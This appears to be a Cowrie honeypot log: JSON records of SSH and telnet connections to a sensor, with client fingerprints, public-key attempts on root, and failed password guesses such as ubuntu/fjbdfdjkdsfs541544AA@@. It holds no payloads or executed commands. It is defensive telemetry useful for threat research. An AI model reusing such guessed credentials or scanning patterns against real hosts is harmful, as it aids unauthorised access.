{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:41:98:ba:e0:1e:b0:f7:7e:bb:e5:ba:a2:ab:22:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBxRZ/7tYUMUz85dbH4C29/5LNFjk2s0M6MCm3k82+RCytRCT7hr7VYfQxm5qBruCybQD2eu898wivkjhitH4FRlrUPNojGA55VMB7PXc+SbvOCBN5pGFcSDMGn7wRlZ/pNSiZZACKGMRE97u1KvZRt7zubzhW55SmwMWdSkGT5Gr7WerI+mT/qqhgcuhUKxQS2B3h0Aaj2TkRUjENbX8WUvIlBGQYQ5tsZG4tuCYcOQI1v7teiXQNoGZW8J9I84mNLxiq5p6PUwtar4PgXgvrBEALefFg26oP0O0NlcMOd/YqNGhjqDSA98zblWWKQ50x//nPY244SFva+CMT4cKltrXgYgwUeaUMly7y/GdK/SYL1gFsZugQbpnXfj+IRFHVohdKwt4OWry8bgWxaIz0GacH02EUaDmo8ti5r4Ft7VkaWHQ2eWqXwNpusLg3JjzS26uVTw9Xy6EeV1axVQ6HgnmhTHQlxyWaY2L0arpRD1JGyV0jtKsRWuxje2P4feW9OSKzDiqaC8YQ4UOxTO0lni8jenPjwvWu88ZbYYn5ia0UNySVqJw0pONaMe2OdfM7dVBpWPntwNj5Hj0cRGXXZqff7OXKHoFk81JYRkPGqmBuKOAuzBWWhzkRRZXePbAL0mRrEN5nXNqbVnTyML2wQvYyoOIrRtFnuztoh1aSXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:41:98:ba:e0:1e:b0:f7:7e:bb:e5:ba:a2:ab:22:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.103185Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:41:98:ba:e0:1e:b0:f7:7e:bb:e5:ba:a2:ab:22:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBxRZ/7tYUMUz85dbH4C29/5LNFjk2s0M6MCm3k82+RCytRCT7hr7VYfQxm5qBruCybQD2eu898wivkjhitH4FRlrUPNojGA55VMB7PXc+SbvOCBN5pGFcSDMGn7wRlZ/pNSiZZACKGMRE97u1KvZRt7zubzhW55SmwMWdSkGT5Gr7WerI+mT/qqhgcuhUKxQS2B3h0Aaj2TkRUjENbX8WUvIlBGQYQ5tsZG4tuCYcOQI1v7teiXQNoGZW8J9I84mNLxiq5p6PUwtar4PgXgvrBEALefFg26oP0O0NlcMOd/YqNGhjqDSA98zblWWKQ50x//nPY244SFva+CMT4cKltrXgYgwUeaUMly7y/GdK/SYL1gFsZugQbpnXfj+IRFHVohdKwt4OWry8bgWxaIz0GacH02EUaDmo8ti5r4Ft7VkaWHQ2eWqXwNpusLg3JjzS26uVTw9Xy6EeV1axVQ6HgnmhTHQlxyWaY2L0arpRD1JGyV0jtKsRWuxje2P4feW9OSKzDiqaC8YQ4UOxTO0lni8jenPjwvWu88ZbYYn5ia0UNySVqJw0pONaMe2OdfM7dVBpWPntwNj5Hj0cRGXXZqff7OXKHoFk81JYRkPGqmBuKOAuzBWWhzkRRZXePbAL0mRrEN5nXNqbVnTyML2wQvYyoOIrRtFnuztoh1aSXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.107082Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvjLuByo8trztsRBfnc4TZgpKxkwB/WKWgSDfG8yIuTybQHjj+yY4EROXjAo3nXBE+cd4MaC0vq6+aE9UnNaBhKrVK47Ke1DP3H6kyPLeRRgsEpMOfDj1Ez60f8Pdr+8shVEvF/sXY43AabhGxAiepeumaPQh0ZVs9pTk785oDR9FFnPCwTvskE3pQQuHj+T6+QncsTI70fkBMoqd7BDPONRis5CGbk0IuNnm9Cn5SlDRGE+hSNrIF3yh1Big/sQGUBEtjtPtRjChRYtVh9bTDKZgJSFx9QEpxgA+0pSnwpFN1snj5lBIN1ctoEvdyuGOHAQ7GNVU/P6Yms3Jea+q9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.204582Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvjLuByo8trztsRBfnc4TZgpKxkwB/WKWgSDfG8yIuTybQHjj+yY4EROXjAo3nXBE+cd4MaC0vq6+aE9UnNaBhKrVK47Ke1DP3H6kyPLeRRgsEpMOfDj1Ez60f8Pdr+8shVEvF/sXY43AabhGxAiepeumaPQh0ZVs9pTk785oDR9FFnPCwTvskE3pQQuHj+T6+QncsTI70fkBMoqd7BDPONRis5CGbk0IuNnm9Cn5SlDRGE+hSNrIF3yh1Big/sQGUBEtjtPtRjChRYtVh9bTDKZgJSFx9QEpxgA+0pSnwpFN1snj5lBIN1ctoEvdyuGOHAQ7GNVU/P6Yms3Jea+q9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.208122Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:7a:32:5b:d3:3e:bf:9a:07:b0:3e:31:3d:0b:c5:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNgD8rvyZUzbJ6xH/AHm4PYgm6VnNeFZMcXbqDCMzPD236JUdkSusw7vCP3vzhMjsOTzir7tlhvPQ+9+Fd+6pRG6N4H/yoHnGDsrLwa2eo2nrJbeC5nNz6GtG0dxql1vHamiIq3JPdiZYoj3XaySfHrjyspGlf7cgSmWC5zccd3CR0D8MORiou05upZxJryY5s9zkV/16SzzaA+dq9VzM1sfJMhA65aoCTp0P4x0+ul6ljunbDTmXDt8n9wFsuWZN1jaGpXes89KoxLEloU8Z88jxU0HxFAJAewRwobdjjAHOwTV3nSFaCXDrg+B6VXKIm4t4IIWtGQ3sUxt9wYqSF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:7a:32:5b:d3:3e:bf:9a:07:b0:3e:31:3d:0b:c5:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.303336Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:7a:32:5b:d3:3e:bf:9a:07:b0:3e:31:3d:0b:c5:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNgD8rvyZUzbJ6xH/AHm4PYgm6VnNeFZMcXbqDCMzPD236JUdkSusw7vCP3vzhMjsOTzir7tlhvPQ+9+Fd+6pRG6N4H/yoHnGDsrLwa2eo2nrJbeC5nNz6GtG0dxql1vHamiIq3JPdiZYoj3XaySfHrjyspGlf7cgSmWC5zccd3CR0D8MORiou05upZxJryY5s9zkV/16SzzaA+dq9VzM1sfJMhA65aoCTp0P4x0+ul6ljunbDTmXDt8n9wFsuWZN1jaGpXes89KoxLEloU8Z88jxU0HxFAJAewRwobdjjAHOwTV3nSFaCXDrg+B6VXKIm4t4IIWtGQ3sUxt9wYqSF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.307724Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.403866Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35382,"dst_ip":"159.203.135.109","dst_port":23,"session":"66353e66bd87","protocol":"telnet","message":"New connection: 69.4.83.194:35382 (159.203.135.109:23) [session: 66353e66bd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:02.280724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":48400,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ee4b218940a","protocol":"ssh","message":"New connection: 69.6.221.248:48400 (159.203.135.109:22) [session: 8ee4b218940a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:06.396464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:06.401446Z","src_ip":"69.6.221.248","session":"8ee4b218940a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:06.515930Z","src_ip":"69.6.221.248","session":"8ee4b218940a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:07.001928Z","src_ip":"69.6.221.248","session":"8ee4b218940a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:08.119817Z","src_ip":"69.6.221.248","session":"8ee4b218940a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03962254524231,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:15.028343Z","src_ip":"69.4.83.194","session":"218f7f5fe245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.90469717979431,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:17.226441Z","src_ip":"79.139.59.21","session":"684ea8bae1ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":58920,"dst_ip":"159.203.135.109","dst_port":23,"session":"a889863657b1","protocol":"telnet","message":"New connection: 50.62.181.92:58920 (159.203.135.109:23) [session: a889863657b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:19.333229Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41762,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c661a1cfe5","protocol":"ssh","message":"New connection: 194.59.206.2:41762 (10.17.0.5:22) [session: 63c661a1cfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:26.286827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:26.292737Z","src_ip":"194.59.206.2","session":"63c661a1cfe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:26.379818Z","src_ip":"194.59.206.2","session":"63c661a1cfe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:26.470409Z","src_ip":"194.59.206.2","session":"63c661a1cfe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81869196891785,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:30.255436Z","src_ip":"69.4.83.194","session":"31798d5e17a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33609390258789,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:36.616703Z","src_ip":"69.4.83.194","session":"66353e66bd87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.190.149.23","src_port":3969,"dst_ip":"10.17.0.5","dst_port":23,"session":"491e21616bf5","protocol":"telnet","message":"New connection: 88.190.149.23:3969 (10.17.0.5:23) [session: 491e21616bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:38.089372Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":59543,"dst_ip":"159.203.135.109","dst_port":22,"session":"98b2076d5a3a","protocol":"ssh","message":"New connection: 223.197.186.7:59543 (159.203.135.109:22) [session: 98b2076d5a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:39.616186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:39.620772Z","src_ip":"223.197.186.7","session":"98b2076d5a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:39.913934Z","src_ip":"223.197.186.7","session":"98b2076d5a3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:40.859069Z","src_ip":"223.197.186.7","session":"98b2076d5a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:42.076409Z","src_ip":"223.197.186.7","session":"98b2076d5a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.46","src_port":58038,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb40e607140","protocol":"ssh","message":"New connection: 205.210.31.46:58038 (159.203.135.109:22) [session: cdb40e607140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:42.974730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:44.074869Z","src_ip":"205.210.31.46","session":"cdb40e607140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:45.036115Z","src_ip":"205.210.31.46","session":"cdb40e607140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.932099103927612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:51.265041Z","src_ip":"50.62.181.92","session":"a889863657b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"2008e96bca7c","protocol":"ssh","message":"New connection: 20.6.35.235:43902 (159.203.135.109:22) [session: 2008e96bca7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:52.325204Z"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:52.370571Z","src_ip":"205.210.31.46","session":"cdb40e607140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.406286001205444,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:52.495576Z","src_ip":"88.190.149.23","session":"491e21616bf5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:55.166622Z","src_ip":"20.6.35.235","session":"2008e96bca7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:55.427284Z","src_ip":"20.6.35.235","session":"2008e96bca7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":34700,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2574e33daef","protocol":"ssh","message":"New connection: 81.70.224.28:34700 (159.203.135.109:22) [session: b2574e33daef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:57.606041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:57.611874Z","src_ip":"81.70.224.28","session":"b2574e33daef","protocol":"ssh"}
